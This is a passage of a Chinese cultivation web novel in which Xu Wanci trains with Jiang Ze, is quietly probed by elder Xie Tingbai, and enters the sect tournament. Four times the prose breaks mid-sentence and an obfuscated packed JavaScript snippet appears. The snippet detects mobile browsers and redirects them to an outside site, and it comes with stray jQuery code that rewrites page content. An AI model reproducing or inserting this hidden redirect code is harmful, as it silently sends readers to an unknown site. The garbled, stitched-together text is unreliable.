想到这里,江秋宁强忍住心中的怒气,握着灵符的手依旧护在许晚辞身前。 她声音恭敬中带着一丝微不可查的冷意: “太清宗虽贵为修仙界第一宗门,但毕竟弟子众多,难免有人打扰,不如江家清净。” “小叔若是实在不喜热闹嘈杂,不若还是在江家修炼,以免有人惹您生气。” 江泽听着江秋宁看似恭敬,实则想让他打道回府的话,声音带着挥之不去的压迫: “哦?” 江秋宁精神愈发紧绷,在急剧的压迫中,她周身的灵气不受控制地开始运转。 就在这时,她身后的许晚辞调息好枯竭的灵气,伸出手搭在了江秋宁的肩侧,她声音温和: “江少主,我与墨泽少尊只是在切磋,并非……” 她的话还没有说完,就被江秋宁的动作打断。 她慌乱却又小心翼翼地捧起了许晚辞的左手,看着她手上的血污后,她声音带着一丝颤音: “你的左手又被伤到了么?” 身为江家少主,她分外清楚中了玄冥针的后果。 若是三日内再次重伤…… 见过许晚辞几次三番命悬一线的江秋宁,把平日的冷静理智全都抛在了脑后,她此刻心中只有一个想法: 不能让许晚辞出事! 她深吸一口气,让自己的声音显得尽量平静: “没关系,我这就回江家一趟……” “我左手未曾受伤。”许晚辞看着江秋宁焦急的模样,微微垂眸遮住了眼中所有的情绪,声音却带着几分稍有的轻柔与安抚: “墨泽少尊只是在与我切磋,我身上的伤,都是轻伤。” 听着许晚辞的声音,江秋宁终于稳住了心绪。 她天资聪慧又心思细腻,回过神来的她只是略一观察便发现了刚才忽略的地方。 只是,即使知道了许晚辞身上伤势不重,她的眉头却依旧紧皱。 她有些沉默地从储物袋中拿出了治外伤的丹药,用玉莹水化开,小心地洒在了她身上的伤处。 等到她身上的伤痕都痊愈后,她终于抬起了头,小心翼翼地问道: “你方才是在……练剑么?” 她至今仍然记得许晚辞在她面前从骨血中剖出墨霜圣兰的那一幕,她在她眼中看到了平静,看到了解脱,更看到了一地的死寂。 那个时候的许晚辞,莫说修炼,就连生的意志都未有分毫。 可今日,她居然会与小叔切磋。 是她自愿,还是…… “是。”许晚辞声音平淡,“我近日在修习剑法。” 江秋宁目光有一瞬间的惊喜,她努力放平上扬的唇角,声音格外温柔: “修炼自然很好,只是晚辞你身上的伤还未痊愈……” 说到这里,她蓦然停住了声音。 她虽不知到底发生了什么,但是如今许晚辞终于不再像之前那样,满身死寂、万念俱灰,终于有了自己想要做的事情。 虽然…… 看着许晚辞身上的无数伤痕,看着她因为灵力枯竭而惨白的面色,江秋宁微微抿唇: 只要有希望,便是好的。 想到这里,她声音轻柔: “我想起我的私库中有一件鲛纱,正好能够抵御外伤……” 她一边说,一边站起身,回头时,蓦然对上了江泽满是寒凉的双眸。 江秋宁蓦然攥紧双手,她低下头,对着他恭敬地行了一礼: “是秋宁误会小叔了,还望小叔恕罪。” 江泽根本没有在意江秋宁说了什么,他的目光淡淡地停留在她身后的许晚辞身上。 他视线扫过她因为力竭而微微颤抖的右手,漠然地转过了身,声音清寒: “明日继续。” 二十天的时间一晃而过。 清竹林中。 宁孟澜坐在石桌旁,手中举着一杯灵酒,声音畅快: “还是你这里的酒好啊。” 他身前坐着一位一身青衣,面容俊逸的身影。 他目光温润轻柔,唇角噙着一抹浅笑,周身气质宁静亲和,如春风拂面,让人见之便心生亲近。 宁孟澜将手中的灵酒一饮而尽,笑眯眯的调侃道: “听白,你要是再不回来,我就要把你清竹林中的灵酒全都挖走了。” 谢听白轻笑着为他倒了一杯酒: “看来我如今回宗门的时机倒是正好。” “可太正好了。”宁孟澜捧起酒杯,声音轻快,“再过十天便是宗门大比,到时候看看有没有弟子能入你眼。” 说到这里,他一脸过来人的表情劝慰道: “你也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14068670|147016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是时候该收个弟子了,起码等你云游时,能有人给你打扫打扫清竹峰。” 谢听白声音带着一丝笑意: “宗主自从收了亲传弟子后,看起来感触颇深啊。” “我这次归宗,恐怕要亲眼见证宗主的弟子夺魁了。” 他唇角含笑,三言两语便将话题转移到了楚青川身上。 宁孟澜笑声爽朗: “人外有人,天外有天,他还有得学呢。” 就在这时,一道灵光从他身前一闪而过,随即,一道竹简落在了他的身前。 这上面记载着所有参加宗门大比的太清宗弟子名讳。 宁孟澜例行公事一般用神识扫了一下竹简,看到某个名字后,他整个人蓦然呆滞在了原地。 许……许晚辞? 怎么可能? 如今许晚辞就连自己身上的伤势都不管不顾,又怎么可能有心思参加宗门大比。 他皱起眉头,又扫过她的名字,确认真是许晚辞的灵力后,他像是想起了什么,眉头皱的更紧: 莫不是她发现了她身上的那些防御法器? 宗门大比中,不允许弟子带法器与符咒,她莫不是想趁着宗门大比……再次求死吧?! 他猛地攥紧了手中的酒杯: 许晚辞身上的伤才刚好几日,又剑心破碎,百年修为尽毁。 她来参加宗门大比,和送死有什么区别。 谢听白看着宁孟澜的脸色变化,目光扫过他手中的竹简,眼中闪过一抹沉思。 随即,他看了一眼杯中灵酒,适时开口: “太清宗事务繁忙,宗主若是有事先去忙便好。” “明日我便让人把落竹酒送到无垢峰。” 宁孟澜抬起头,若有所思地看了谢听白一眼。 许晚辞与仙尊之事,虽然绝密,但谢听白乃是太清宗七长老,并不在保密人选之列。 更何况,这么多长老,也就他,能劝一劝许晚辞了。 想到这里,他叹了一口气: “七长老,和我一起去一趟万剑锋吧。” 看着谢听白疑惑的目光,宁孟澜沉声说了这段时间发生的事情。 最后,他叹息道:“修仙者向来凉薄,何曾有过这样的痴情。” 谢听白听完宁孟澜的话后,恰到好处的发出了一声叹息,可心中却没有分毫波澜。 万人皆知太清宗七长老为人温柔亲和,与人为善,是所有弟子心中最信赖的师长,是许多修士的至交好友。 无人知晓这只是他的面具,温柔之下的他,是刻骨的利己与凉薄。 在宁孟澜的话中,他隐隐嗅到了同类的味道。 他扬起一个温柔而同情的微笑:“那我便同宗主走一趟吧。” 他也想知道,这个许晚辞,是真的情深不悔,还是只是善于伪装,以死求生。 19.第 19 章 幻颜树下。 许晚辞凝神看着江泽的动作。 这半个多月中,她已经完全习惯了手中之剑,剑意也越发凝练。 她不知道自己如今剑法究竟如何,但她从江泽手下坚持的回合,却越来越多。 从一开始的三招落败,到如今的十招,二十招。 她手中的剑,也越来越快,快到她足够在发现一丝破绽后,一击制敌。 找到了。 就在她找到江泽那丝细微的破绽之时,他手中的漆黑如墨的灵气,已经朝她的脖颈袭来。 这道灵气太过危险,以至于在感受到它的那一瞬间,便能察觉到死亡一般的威胁。 可许晚辞没有分毫的躲闪,她面色平静到了极点: 只要她足够快。 来到小院门口的宁孟澜看着这一幕,心蓦然坠到了谷底。 身为大乘修士,他格外清楚江泽这一击的危险。 此刻他根本想不起自己在许晚辞身上留下的那些防御法器,他下意识地伸出手,想要救下许晚辞。 电光火石间,江泽手中的灵气微微一动,险而又险的从许晚辞的脖颈处擦过。 与此同时,他的几根发丝被剑气扫到,悠悠地坠落到了地上。 许晚辞第一次,没有输,而是与江泽打成了平手。 宁孟澜提着的心终于落了下来,手中酝酿的灵气缓缓消散。 而他身旁的谢听白,从始至终都从容闲适,神情平和,他目光温柔的扫过收起灵剑的许晚辞。 真是惊险却惊艳的一剑。 可她面色平静的没有分毫波动,就像刚刚与死亡擦肩的人并不是她一般。 谢听白唇角的笑意微微加深: 有趣。 她是真的不怕死…… 还是有所依仗,知道自己不会死? 无论心中在想什么,谢听白面上的表情都是一如既往的温文尔雅,他半转过身,对着许晚辞身前不远处的江泽微微颔首。 看到江泽淡漠而傲慢的对着他点头示意后,谢听白指尖微不可查地动了动,面色却愈发柔和。 另一边,许晚辞看着出现在门口的那个陌生的身影,心跳如鼓。 谢听白。 原著中,那个深谙人性、凉薄至极,却偏偏极擅伪装,甚至骗过了男主楚青川,让他都栽了一个跟头的……太清宗七长老。 也是她在太清宗,最不想碰到的人。 想起原著中,谢听白只是三言两句,就能察觉到谎言漏洞,抽丝剥茧地找出真相并加以利用的剧情,许晚辞再一次有了不亚于之前在执法殿的威胁感。 在谢听白面前,她绝不能露出分毫漏洞,不然等待她的,只有万丈深渊。 许晚辞并没有看向门口,她低着头,一点一点地把灵剑收入剑鞘。 然后缓缓平复自己的心跳,心中是冷静到了极点的清明。 这时,宁孟澜已经来到了许晚辞身边,目光严肃之下藏着微不可查的疑惑与探究。 他心中对许晚辞的印象,还停留在上次她用左手挡下玄冥针那一幕上。 那个时候她明明已经万念俱灰,对什么都提不起兴趣,如今怎么会开始与江泽……切磋? 看到江泽最后移开灵气的那个场景,他就已经意识到了,两个人只是在对招。 是他见过许晚辞太多次求死的模样,所以才会一时乱了手脚。 只是,许晚辞刚才那一剑…… 莫说是一个剑心破碎的剑修,就是如今整个万剑锋,都不一定有弟子能舞出那样惊艳的一剑。 不过,想起今天的来意,他压下心中所有的疑惑,声音威严不失亲和: “晚辞,宗门大比时间漫长、人员嘈杂,你向来喜静,想必会不甚适应。” “现在若是退出,还来得及。” 他知道许晚辞不会在意大比的危险,只能从其他方面下手: “你若是有需要自可告知宗门,并非只有大比一条路。” 许晚辞抬起头,眼中满是了然的叹息。 她认真地看着宁孟澜,声音平静:“宗主不必担忧,弟子只是想参加大比而已。” “有宗主和众位长老在,自然不会有弟子在宗门大比中重伤。” 听到她的回复,宁孟澜微微一怔。 想到方才许晚辞练剑的模样,他似是明白了什么,微皱的眉毛霎时舒展开来: “你想通了便好。” 谢听白的目光,自始至终都在许晚辞身上,听着她毫无求死之志,反倒是对修炼颇为执着的模样,目光轻柔中带着一丝微不可查的审视。 看着她从始至终都平静安宁的神色,他敏锐的察觉到了她面具之下仿佛无视一切的漠然。 他也好,宁孟澜也罢,甚至于江泽,都未曾让她内心有分毫的波动。 真是有趣。 下一瞬,他拿出早就准备好的顶级回春丹,面色温和的走上前去。 他在许晚辞身前站定,目光像是在看一个亲近的朋友,声音带着温柔的劝慰: “许晚辞。” “修炼虽说重要,但仍要以身体为重。” 谢听白动作轻柔有礼地把手中的丹药放在了一旁的暗玉桌上。 他身为太清宗长老,修为高深,更是修仙界顶尖的炼丹师,动作言谈却偏偏平易近人,声音中没有分毫傲慢,反倒像是在与一位相熟的好友叙旧一般: “这是我几日前炼制的回春丹,虽说只是回复体内灵气的丹药,但好在等级尚可,也有恢复暗伤的功效。” “以它为礼,希望晚辞不要推辞。” 听着谢听白的声音,许晚辞抬起头,脸上的表情是一直以来都没有变过的近乎死寂的平静。 她看着谢听白,眼中有他的倒影,更多的,却是仿佛永远都没有尽头的虚无与空寂。 谢听白与她而言,与修仙界任何一个人都无异。 或者说,只要不是那个人,她面前的人是谁,都没有什么不同。 她并没有看桌子上的回春丹一眼,只是扬起了一个应该有的微笑,客气有礼道: “多谢七长老。” 谢听白的目光虽然温和地看着许晚辞。 他向来深谙人心,自然能看出她平静之下的荒芜。 他心中却没有分毫的怜惜与不忍,反倒是饶有兴趣地在衡量,衡量她的表情,几分真,几分假。 可他却得不到任何答案。 也是,能从宁孟澜和几位长老手中逃脱,自然不会这么轻易地被他察觉到破绽。 想到这里,谢听白像是在哄人开心一般自嘲道: “本以为晚辞会惊奇于这瓶回春丹的药效,看来是我托大了。” “也是,不过这种灵药,又怎么可能让你……” 像是想到了什么,谢听白蓦然停住了声音,目光带上了一丝叹息。 许晚辞听着他的话,依旧没有分毫反应。 她只是静静地站在原地,调息自己方才和江泽对招时枯竭的灵力。 从见到谢听白的那一刻, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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即使她知道清衍仙尊灵峰之上,有过一片化雨昙花田,她依旧不能说,她不能让任何人知道,仙尊喜欢昙花。 化雨昙。 如果不代表昙花,还能代表什么? 像是想到了什么,她长长的睫毛微微一动。 如果她没记错的话,化雨昙颜色是蓝色。 她回忆着原著中的剧情,缓缓眨了眨眼睛: 楚青川得到过数件清衍仙尊留下的至宝,其中有不少,通体蓝色。 清衍仙尊喜欢昙花么? 只是灵峰上的一些灵植而已,又有谁敢笃定。 可以后,随着楚青川找到那些清衍仙尊留下的至宝,所有人都会看到那些至宝,看到那些……蓝色。 她目光扫过自己身上浅蓝色外袍,本来提着的心,缓缓定了下来。 “化天昙……么?” 许晚辞的声音轻的好似一声叹息。 她有些茫然的看向远方,目光仿佛穿过了百年的时间。 良久之后,她终于回过了神,唇角扬起了一个细微的弧度。 她莞尔一笑,双目中带着纯粹的欢喜,带着刻骨的思念,还带着挥之不去的蒙蒙雾气: “我还是更喜欢化雨昙。” “那是我见过,最美的颜色。” 20.第 20 章 等到所有人走后,许晚辞坐在暗玉桌前,目光没有分毫变化。 她心跳从始至终都平稳和缓,只是身后却已然有了汗意。 想起方才谢听白的试探,她缓缓地闭上双眼。 不愧是原著中,让男主都栽了一个跟头的人。 他的每一次试探,都带着无数隐秘而危险的陷阱。 如果不是她保持了极度理智,恐怕她现在已经…… 许晚辞微不可查地舒了一口气: 还好,她在那个时候,做出了最有利于她的回答。 原身与她,都颇为喜欢蓝色。 她如今身上的衣物,院中的灵植都有蓝色。 想来谢听白不会再在化雨昙上对她有所怀疑了。 可她只是暂时渡过了危机,谢听白绝不会因为她今日的表现,就对她的谎言深信不疑。 他随时都有可能继续试探。 好在,她如今已经已经有了目标,有了一个谢听白根本不知晓她为何要达成的目标。 若依旧只是一心求死,对外界毫无反应,那很容易被他察觉出破绽。 因为她不管自己伤害多大,她都依旧会活着。 而如今,这段时间,她做的每一件事,都与修炼有关,都与宗门大比有关。 谢听白不知晓她的目的,所以他若是再次试探,她便有了一丝先机。 更何况—— 想起原著中,谢听白如今正在为之烦恼的事情,许晚辞指尖微动。 可惜,现在还不是时候。 如今,最重要的事情,是七日后的宗门大比。 只要她能得到三叶莲,那谢听白乃至整个太清宗对她的威胁,都会减弱。 想到这里,许晚辞微微垂眸,看向自己搭在暗玉桌上的手。 苍白与墨色的对比太过鲜明,仿佛下一瞬白色就能被墨色吞并。 她淡淡地移开视线: 宗门大比,她不能输,只能赢。 清竹峰中。 谢听白罕见的没有炼制丹药,而是坐在灵石上,若有所思地看着前方的清竹林。 他是在一处秘境中,偶然得到一道竹简,才知晓落玉峰上有一片化雨昙。 此事,他曾不着痕迹的试探过太清宗其他几位长老。 就连接触过清衍仙尊几次的大长老,都完全不清楚。 许晚辞居然知晓。 想起当时许晚辞的回答,谢听白指尖微微一动。 毫无破绽。 她对清衍仙尊的了解,大抵超过了太清宗所有的修士。 所以……是真的么? 却也未必。 毕竟清衍仙尊已然仙逝百年,不可能亲口告诉他们答案。 所有的一切,都不过是许晚辞的一面之言。 修仙界。 为了利益机缘,能杀亲弑子的修仙界。 怎么可能会有那样纯粹,那样不掺杂利益的感情? 回忆起当时许晚辞说起化雨昙时纯粹美好的神情,谢听白的眸色渐渐暗了下去: 没关系。 若是假的,自然会有漏洞。 他有的是时间试探出想要的结果。 * 万剑锋上。 段子惟捧着一个灵气四溢的食盒,兴冲冲地来到了许晚辞身前。 这段时间,段家知道段子惟口味挑剔,不喜灵丹的味道后,于是专门送来了几个食修,为他准备灵膳。 段子惟见到灵膳,下意识的想起了许晚辞那张苍白如琉璃的脸。 他见过她剑心破碎的样子,见过她从骨血中剖出墨霜圣兰的样子,也见过她为了一棵幻颜树不惜身受重伤的样子。 于是他就想也不想地撕了一个传送符,直接捧着灵膳来到了万剑锋。 他看着许晚辞如今比之前仍没有好上几分的脸色,心缓缓地沉了下去: 这么久了,她身上的伤还未好全么? 与此同时,段子惟的手蠢蠢欲动,疯狂地想撒点灵石灵宝。 他放下了手中的食盒,下意识往自己身侧的储物玉佩掏去。 手指碰到玉佩时,他才后知后觉的想起: 许晚辞肯定不会收他送的灵宝。 说不定他拿出灵宝后,她会想起他之前送的那些灵宝。 然后……她肯定会让他把院子里的这些东西都带回去。 那怎么行! 他的手拐了个弯,若无其事地把食盒往许晚辞身前推了推: “我从小就被家里人灌着灵丹灵药,可难吃了!” 说到这里,段子惟眼中闪过一丝复杂。 他虽然拥有顶尖的家世,却没有相配的天赋,是家里人用尽了天材地宝,才把他的修为提到了金丹。 丹药虽然能提升灵根和修为,但也是一种限制。 丹药再好,依旧会有丹毒的存在,他的修为要想再次提升,极难。 段子惟一脸不在意地压下了所有的想法,在所有人面前,他从来都是那个嚣张肆意的段家少爷。 他笑眯眯地继续道: “那些难吃的丹药你一定吃腻了,来试试这些灵膳!” “它们也能调养身体,而且味道还好,你一定会喜欢的!” 许晚辞对人的情绪很敏感,她察觉到了段子惟话中那一闪而过的低落。 想起原著中的剧情,她指尖微微一动。 她隐下心中所有的想法,声音平淡: “多谢段师兄。” 段子惟听到她道谢后,眼中一亮: 她说谢谢他! 那她肯定是喜欢灵膳!! 他以后要疯狂撒灵膳!!! 就在这时,门口传来一阵极轻的脚步声。 段子惟一转头,就看到了一身寒意的江泽。 江泽视线淡漠的从他身上扫过: 一个天赋低下的纨绔子弟。 若不是段家,他根本不会对他有分毫印象。 段子惟感受到了他的漠视,攥紧双手,昂着头移开了视线。 虽然表面看似气势十足,他心中却有无数情绪在复杂翻涌。 不论是家世、天赋、还是修为,他都比不上江泽。 就在他若无其事地看向暗玉桌时,许晚辞面色平静地端起段子惟送来的灵茶,轻抿了一口。 段子惟的眼睛蓦然亮了起来。 许晚辞不嫌弃他,她吃了他带来的灵膳!! 他本来低落的心情瞬间支棱了起来: 他虽然天赋不好,可是他贴心啊! 江泽那个修炼狂魔,难道也能和他一样妥帖的为她准备灵膳么? 想到这里,他目光重新恢复了嚣张骄纵。 他知道这段时间江泽在帮许晚辞重塑剑心,于是笑容满面道: “这灵膳你喜欢就好!” “等我明天……不对,以后我每天都给你送!” 说完不等许晚辞回答,他就一溜烟的小跑出了院子。 江泽听着渐行渐远的脚步声,面色比来时更冷。 他淡淡地扫过暗玉桌上的灵膳,目光冷澈。 以后几日。 段子惟到的比日出都准时。 每次许晚辞练剑之前,他便带着灵膳前来,然后和江泽打一个照面后,大摇大摆的离去。 而江泽每日在段子惟身上停留的目光,也变得越来越多,身上的气息,似乎也比平日更多了几分寒霜。 不只是段子惟。 谢听白这几日,也来了万剑锋数次。 今日亦然。 谢听白看着坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14105085|147016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 暗玉桌旁调息灵气的许晚辞,面露担忧地为她倒了一杯灵茶: “修士寿数漫长,修炼自不能急于一时。” “一张一弛,方为正道。” 看着许晚辞没有回应,只是垂眸调息的模样,谢听白眼中是恰到好处的关切。 可在关切之下,满是森冷凉薄的探究: 他本以为,无论她与仙尊之事是真是假,许晚辞如今都会表现的行如死尸、毫无生志。 可这几日,他亲眼见到了许晚辞疯狂修炼的模样。 没有分毫求死之意,只有近乎疯狂的求胜之心。 能赌上性命的求胜之心。 不过几日,他就已经见过数次许晚辞生死一线的场景,可她为了赢,从未有过分毫的退避。 谢听白的眼睛微不可查地眯了一下。 真是有趣。 一个为爱尝试殉情数次的人,怎么就忽然如此热衷修炼? 是事出有因,还是太贪心了? 贪心到只是刚刚脱离了生命威胁,便迫不及待的捡起修炼。 谢听白动作温柔地把灵茶推到了许晚辞身前,叹息道: “先喝杯灵茶吧。” 许晚辞抬起头,她脸侧带着灵气划过后的伤痕,一道血色在她苍白的脸上晕染开来,看起来有一种濒临破碎的美感。 她平静地看向谢听白,并没有接过灵茶,只是淡淡道: “多谢长老关心。” 听到她的回复后,谢听白的目光越发温和。 他轻声道: “晚辞刚过百岁,便已经成功结丹。” “如今看来,虽说与天赋有关,但更多的,还是依靠每日孜孜不倦的修炼。” 说到这里,他停顿了一瞬,目光带上了些许赞赏: “百年的勤学苦练,晚辞不仅天赋出众,心性更是让人赞叹。” 听着他满是称赞的话,许晚辞的目光没有丝毫变化,就连心跳都没有快上一瞬。 这样的试探,这几日中,她经历了无数次。 这次,是试探她清衍仙尊祭天后的这百年中,她的心境与态度? 还是试探—— 她什么时候得到的墨霜圣兰? 得到墨霜圣兰的时间愈早,她的灵根便会被淬炼的越早。 自然也无需像今日这般拼死修炼,便足以晋升金丹。 百年前得到墨霜圣兰和仙尊祭天后得到墨霜圣兰,两者之间的含义,可谓是天差地别。 许晚辞心是极致的冷静,眼中却带上了一丝浅浅的恍惚。 她有些自嘲地扬了扬唇角: “勤于修炼?” “若真如此,便好了。” 谢听白听到她的回答,眼中没有分毫诧异。 他为她温了温放凉的灵茶,轻笑道:“晚辞何必对自己如此严苛。” “你能克服外门那样艰难的环境,成功晋入内门。” “想来不仅是修炼刻苦,怕也经历了重重艰辛。” “如此心性与天赋,晚辞未来定有一争大道之力。” 许晚辞根本没有在意他的夸赞。 她有些怔愣地抬起头,目光茫然地看着谢听白,声音带着一丝干涩: “外门的生活,会很……艰难么?” 谢听白微微垂眸,遮住了眼中的诧异。 他第一次端起了桌上的灵茶,淡淡道:“或许吧。” 不远处,江泽看着许晚辞和谢听白相谈甚欢的模样,看后者越发碍眼。 他冷冷地扫过看起来温润亲和的谢听白,淡漠的移开了视线,看向了不远处的墨雨阁。 一息。 两息。 三息。 他蓦然开口,声音满是刻骨的寒气: “该继续了。” 21.第 21 章 院子中,万籁俱寂。 许晚辞坐在暗玉桌旁,静静地看着上面依旧冒着袅袅热气的灵茶。 这是段子惟送来的灵茶。 从那日起,从未断过。 良久之后,她端起茶盏轻抿了一口,随即移开了视线,心中冷静地分析起了今日与谢听白的交锋。 这几日,他已经查清楚了原主在太清宗的过去。 所以,才会用外门试探。 清衍仙尊百年之前仙逝,而原主那时刚得到墨霜圣兰不久,天赋不显,依旧是外门弟子。 所以她与仙尊的交集,只能是外门。 那她自然也不能像其他外门弟子那般,挣扎求生、拼死修炼。 许晚辞缓缓放下手中茶盏。 原主本来家世尚可,被娇宠长大,可惜家族长辈冲击合体失败,经脉错乱,自此,家族彻底没落。 可原主依旧带着世家子弟的清傲,在外门时鲜少与其他弟子交流,每日都是独来独往。 由于家中的底蕴,手中也有些许的灵宝,并未受其他人为难,自然也算不得艰辛。 近百年的时光,外门弟子大抵也换了不少。 就算谢听白去查证,也查不到更深的消息。 若是查到了什么,以他的脾性,绝不会多此一举地前来试探她。 想到这里,许晚辞微不可查地呼出了一口气。 这几日,她应该没有留下什么破绽。 她收起了所有思绪,缓缓站起身,回到了卧房。 比起谢听白,最重要的,还是三日后的宗门大比。 翌日。 江泽依旧满身霜寒地来到许晚辞身前。 只不过,这一次交手后,他并未像之前一般等着她闭目调息,而是淡漠而随意地,往她身前扔了一瓶快速回复灵气的丹药。 许晚辞服下丹药,三息后便已经变得灵气充盈。 她并未多休息一瞬,而是沉默地拔出了手中灵剑,接着攻了上去。 于是。 段子惟端着灵膳出现在小院门口时,许晚辞在和江泽对招; 段子惟可怜巴巴的离开时,许晚辞仍旧在和江泽对招。 谢听白从容地在暗玉桌旁坐下时,许晚辞在和江泽对招; 谢听白在暗玉桌旁,坐了两个时辰后,许晚辞依旧在和江泽对招。 等到夕阳西下,院中仅剩两人时,江泽终于收回了灵气。 他一挥手,一瓶灵药便出现在了暗玉桌上。 他声音淡漠:“好好调息。” “明日继续。” 第二日亦是如此。 经过这两日的淬炼,许晚辞觉得自己的经脉拓宽了不少,灵气恢复的速度也越来越快。 每一次被逼至极限后,她的金丹便会愈发凝实。 如今,她距离金丹后期,只有一步之遥。 这时,宗门大比如期而至。 千定峰上,数座演武台拔地而起。 演武台之上,是一座立在半空的高台。 高台中,太清宗宗主宁孟澜威严的站在那里,面容庄严而肃穆。 他身侧不远处,站着鲜少参与太清宗事务的大长老与二长老。 看到他们二人后,台下的弟子不敢言语,但眼中却多了几分兴奋和期待。 莫不是两位长老……有了收徒之意? 没有人发现,两位长老的神识,都放在了一位弟子身上。 许晚辞站在角落里,周身的气质平和安宁,却又带着挥之不去的疏离,看起来与周围的弟子格格不入。 太清宗绝大多数弟子都知晓许晚辞暗害江秋宁之事,但鲜少有人知道内情。 那日见证许晚辞用墨霜圣兰作为歉礼送给江秋宁的弟子并不多,他们又被宁孟澜下了禁令,也没有办法多说什么。 只能在其他人嘲讽许晚辞时,站出来为她说几句话。 所以,看到许晚辞出现在千定峰后,虽然碍于宗规没有人敢动手,但绝大多数弟子看她的眼神,都是相似的厌恶与嫌弃: 这种小人居然还敢来参加宗门大比? 真是丢人现眼! 不少与她想近弟子看她站定后,冷哼着挪到了离她更远的地方。 就在许晚辞周围已经空荡荡一片时,一个身影略显焦急地来到了许晚辞身旁。 站定后,她伸出手,小心翼翼地帮许晚辞理了理鬓边的碎发,声音带着挥之不去的担忧: “晚辞,你如今身体好些了么?” 其他弟子看清来人是谁后,一脸被雷劈了的扭曲表情。 怎么会是……江秋宁? 他们是不是太过紧张以至于出现了幻觉? 许晚辞可是害得她昏迷数日的罪魁祸首啊! 江秋宁到底是什么胸怀,居然会对她这么……亲切友好?! 江秋宁根本没有在意其他人的视线,她微蹙着眉头,眼中满是小心翼翼的担忧。 这段时间中,许晚辞几次重伤濒危,前段时间的玄冥针,少说也要修养半月。 可她根本没有在意这些伤势,当日便开始动用灵力修炼。 每次她去万剑锋时,许晚辞都在心无旁骛的修炼,她根本无从劝起。 江秋宁下意识看向她的左手,欲言又止。 许晚辞目光安宁而坦然,这一日,她已经等了许久。 她声音认真: “已无大碍,江少主不必担忧。” 江秋宁心思细腻,她隐约察觉出,今日的许晚辞,似乎比以往多了几分……安定? 她脑中闪过了一丝微弱的疑惑,不过很快就被忧虑取代: 宗门大比中危机四伏,还不允许带任何防御法器,万一发生了什么意外…… 想到这里,江秋宁眉心皱的愈紧,她根本没有犹豫,便下定了决心: 留在在这里看许晚辞的初赛。 至于楚青川…… 只是初赛而已,以他的修为能力,想来也没有出错的余地。 就在这时,太清宗中向来嚣张跋扈谁都看不起的段子惟,小跑到了许晚辞跟前,眼中是罕见的亲近体贴。 半盏茶后,万剑锋峰主安抚完亲传弟子后,也来到了许晚辞身边,面色和善地交代宗门大比的要点。 又是半盏茶,刚云游归来的七长老,也停在了许晚辞身边。 许晚辞身边其他弟子留出的空挡,被这些人尽数占据。 她身边的太清宗弟子脸上的表情,已经从一开始的扭曲震惊,变成了如今的麻木。 他们一脸呆滞地想: 难道是他们的记忆出错了? 许晚辞不是害了江秋宁的元凶,而是救了江秋宁的功臣? 千定峰的观武阁中。 江泽站在窗前,看着许晚辞身边越聚越多的人,神情没有什么变化,周身的寒气越来越重。 不只是这些人,还有高台上两位长老落在她身上的神识。 每一个,都让他觉得碍眼。 感受到心中稍显陌生的情绪,江泽轻嗤了一声,淡漠地移开了视线: 身为修士,聚众扰人。 不成体统。 * 在太清宗宗主宁孟澜交代完注意事项后,一道通天的灵柱腾空而起,直达天际。 无数灵光从这道灵柱中显现,然后四散而去,飞到了每位参见宗门大比弟子的身前。 许晚辞伸出手,接住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14115342|147016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一个光点,看到上面的文字后,她轻声念道: “演武台:七。” 听到她的声音,江秋宁皱眉看向排行为七的演武台。 宗门大比初赛,为十人混斗,胜者进阶。 此时演武台上,已经站了三位弟子。 江秋宁看着演武台上的身影,像是想起了什么,微不可查地皱起了眉头。 她还没来得及说些什么,一旁的许晚辞,就已经飞身上了演武台。 十人到齐后,七号高台上升起一道淡金色的保护罩,除却几位尊者,没有人能够进入其中,扰乱比武。 许晚辞淡淡地扫过了演武台上的九位弟子,视线最终停留在了一个一身绿袍,面容清秀的身影上。 这个人身上的灵气,最为充足。 就在她将手伸向身侧灵剑时,忽然感受到了地下传来一阵极其轻微的灵力波动。 与江泽交手时,他有时会完全隐匿自己的灵气,她只能用全力去感知微弱的灵气波动。 好在她历经两世,神识强大。 感知灵气与她而言,一开始虽然艰难,但如今已经成了她的本能。 在灵气即将破土的那一瞬,她一手拔剑,同时后退了两步,从容地躲开了这一击。 与此同时,她的身边传来了几声惨叫。 